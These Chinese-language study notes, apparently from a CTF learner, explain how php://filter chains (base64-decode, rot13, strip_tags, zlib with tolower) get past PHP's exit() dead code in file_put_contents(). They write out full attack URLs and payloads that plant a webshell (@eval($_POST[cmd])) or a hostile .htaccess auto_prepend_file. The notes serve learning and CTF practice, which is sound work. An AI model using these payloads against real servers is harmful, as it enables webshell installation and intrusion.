参考自:https://xz.aliyun.com/t/8163#toc-7
这几个文章 都要学习吸收一下:
这个这个,这个全都写明白 了。版本是这个:PHP 7.0.33 Apache/2.4.25 。
php://filter中的各种过滤器:
探索php://filter在实战当中的奇技淫巧
file=php://filter/********/resource=./phpinfo.php 这样可以, convert.base64-convert 这部分二次编码可以
但是 filter 和 resource 不能够进行url二次编码,
所以说的过滤器会进行二次url编码,也只是针对中间的那一部分,
针对file_put_content()
。进行exit()死亡结束的绕过方法:
三种情况:
file_put_contents($filename , "
file_put_contents($content,"
file_put_contents($filename,$content."\nxxxxxxxxx");
我们的思路很简单: **将 杂糅或者死亡代码分解,思路基本上都是利用php伪协议filter,结合编码或者相应的过滤器进行绕过; **
原理不外乎:将死亡 或者杂糅代码分解成为PHP无法识别的代码;
file_put_contents($filename , ".$content);
文件名和文件内容,都是可控的,直接控制文件名和内容。
下面来几种方法:
而都知道
$filename
是控制文件名的,如果我们使用php://filter协议
的话,这会先按php://filter
规定的协议对$content
进行解码后再写入协议
原理就是: 利用base64编码,将死亡代码解析成为乱码,使得PHP引擎无法识别;
filename='php://filter/convert.base64-decode/resource=adam.php';
$content = 'aPD9waHAgcGhwaW5mbygpOz8+'; # 这个是phpinfo();的base64
这里之所以$content
加了一个a,是因为base64在解码的时候,是4个字节转化为3个字节,又因为死亡代码只有phpexit
着7个字节参与了解码,所以补上一位就可以完全转化;在和效果如下:
base64编码中只包含64个可打印字符。其他的字符都将被忽略掉。
知道php base64解码特点之后,当$content被加上了以后,我们可以使用 php://filter/write=convert.base64-decode 来首先对其解码。在解码的过程中,字符< ? ; > 空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有”phpexit”和我们传入的其他字符。
由于,”phpexit”一共7个字符,但是base64算法解码时是4个byte一组,所以我们可以随便再给他添加一个字符(Q)就可以,这样”phpexitQ”被正常解码,而后面我们传入的webshell的base64内容也被正常解码,这样就会将这部分内容给解码掉,从而不会影响我们写入的webshell。
$filename=$_GET['filename'];
$content=$_GET['content'];
file_put_contents($filename , ".$content);
http://IP/test/test.php?filename=php://filter/write=convert.base64-decode/resource=shell.php&content=aPD9waHBpbmZvKCk7Pz4=
将后面的phpexitaPD9waHBpbmZvKCk7Pz4=
。这一串东西,write的形式是base64-decode。解密后写进去,
我这样用write写,生成的文件是这个:
去掉write之后依旧好使,
http://IP/test/test.php?filename=php://filter/convert.base64-decode/resource=shell.php&content=aPD9waHBpbmZvKCk7Pz4=
网站:
经过rot13编码后这样:
php://filter/string.rot13/resource=adam.php
利用 .htaccess的预包含文件的功能来进行攻破;自定义包含我们的flag文件
string.strip_tags
能够从字符串中取出HTML和PHP标记,尝试返回给定的字符串 str 去除空字符,HTML和PHP标记后的结果。。这里用这个,去除 那个PHP的死亡结束代码。
$filename=php://filter/write=string.strip_tags/resource=.htaccess
$content=?>php_value auto_prepend_file D:\\phpStudy\\PHPTutorial\\WWW\\flag
同时传入如上的代码,首先来解释$filename
的代码,这里引用了string.strip_tags
过滤器,可以过滤.htaccess
内容的html标签和PHP标记,自然也就消除了死亡代码;$content
即闭合死亡代码使其完全消除,并且写入自定义包含文件;实验结果如下所示:
注意:
\\
。,就是利用过滤器嵌套过滤器进行过滤,以此达到代码的层层更迭,从而最后写入我们期望的代码;
先来一个:
$filename='php://filter/string.strip_tags|convert.base64-decode/resource=s1mple.php'
$content='?>PD9waHAgcGhwaW5mbygpOz8+'
先用string.strip_tags
过滤掉html标签,然后将标签中的内容进行删除,然后再用base64解码,成功写入shell。
这种方法有局限性的。还是string.strip_tags
再PHP7.3.0以上的环境下会发生错误,从而导师无法写入,但是在PHP5的环境下不受此影响。。
另外一个:
如果题目的环境是php7的话,那么我们又该如何?这里受一个题目的启发,也可以使用过滤器进行嵌套来做;组合拳;这里三个过滤器叠加之后先进行压缩,然后转小写,最后解压,会导致部分死亡代码错误;则可以写入shell。
注意:这个%0d是一定要有的,不然就会报错
而且要url传参才行,
http://localhost/test1.php?filename=php://filter/zlib.deflate|string.tolower|zlib.inflate|/resource=adam.php&content=php://filter/zlib.deflate|string.tolower|zlib.inflate|?%3E%3C?php%0d@eval($_POST[cmd]);?%3E/resource=adam.php
$filename='php://filter/zlib.deflate|string.tolower|zlib.inflate|/resource=adam.php';
$content='php://filter/zlib.deflate|string.tolower|zlib.inflate|?>/resource=adam.php';
先压缩,然后小写,然后解压缩,这里非常巧合的是内容经过压缩转小写然后解压之后,我们的目的代码并没有发生变化,这也为写入木马奠定了基础;
这个是真的巧,,我试着换其他的东西来,结果都不能够正常出来PHP的代码,
file_put_fontents($content,"。又该怎么办呢??
面对这种情况,就和WMCTF的一个题基本一样了;和上面的大类方法一样,也是利用php伪协议filter
进行嵌套过滤器进行消除死亡代码,然后进行shell的写入或者读取;
不过这种因为是一个变量,所以其限制代码为然而我们之前说到的是因为是控制两个变量,在这种情况之下就为
,两者有本质的区别,然而第一种情况下,后面的几种解法,其实从某种程度上来说,也是将其看成了一个变量从而的出的payload;
这里题目环境如果在php7下,wmctf的wp上已经写的很清楚了,有多种方法可以绕过去;这里不再过多的解释
但是这里想要分享的一个另类的方法,如果题目环境不是在php7下,并且过滤了zlib
的话,又该如何去解答,再使用过滤器去压缩和解压就不太可能实现了;这里提供一种我新实验成的方法,利用.htaccess
进行预包含,然后读取flag.
这里可以直接自定义预包含文件,进行测试;结果如下;
?content=php://filter/write=string.strip_tags/?>php_value%20auto_prepend_file%20/flag%0a%23/resource=.htaccess
后面的没怎么看,等遇到了就看这个文章就好。
https://xz.aliyun.com/t/8163#toc-7
也就是说 中间的那两个竖线 中间的 内容是我们写入的东西
base64会受限于 = 。而rot13则没有这个烦恼。
php://filter/write=string.rot13||/resource=shell.php
。这里的的rot13编码即为
。
和前面提到的一样,这种方法是需要服务器没有开启短标签的时候才可以使用(默认情况是没开启的:php.ini中的short_open_tag(再补充一下,linux下默认是没有开启的)